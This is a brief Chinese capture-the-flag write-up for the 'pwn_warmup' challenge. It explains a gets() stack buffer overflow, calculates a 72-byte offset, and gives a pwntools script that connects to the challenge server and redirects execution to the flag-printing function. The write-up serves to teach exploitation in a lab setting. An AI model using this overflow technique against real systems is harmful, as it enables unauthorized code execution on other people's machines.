攻防世界——pwn_warmup

  1. checksec:没有开启任何保护
    攻防世界——pwn_warmup_第1张图片
  2. 看到了熟悉的gets()函数,通常一看到这个函数就八成有缓冲区溢出漏洞,可以看出程序为v5开辟了40H的存储空间,所以输入长度超过40H即可造成溢出,再看sprint()函数
  3. 可以看到这个函数是获取flag的关键点,程序会打印出此函数的位置,即0x40060d,到这里思路就差不多明了了,我们需要控制溢出位置,把返回地址改为此函数的地址,我们当前函数的返回值位于RBP+8的位置,因此溢出点可以通过计算得出:40H+8H=48H=72
  4. exp如下
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(arch = 'amd64', os = 'linux')
sh = remote('111.198.29.45',51974)
target = 0x40060d
sh.sendline('A' * 72 + p64(target))
sh.interactive()

你可能感兴趣的:(pwn)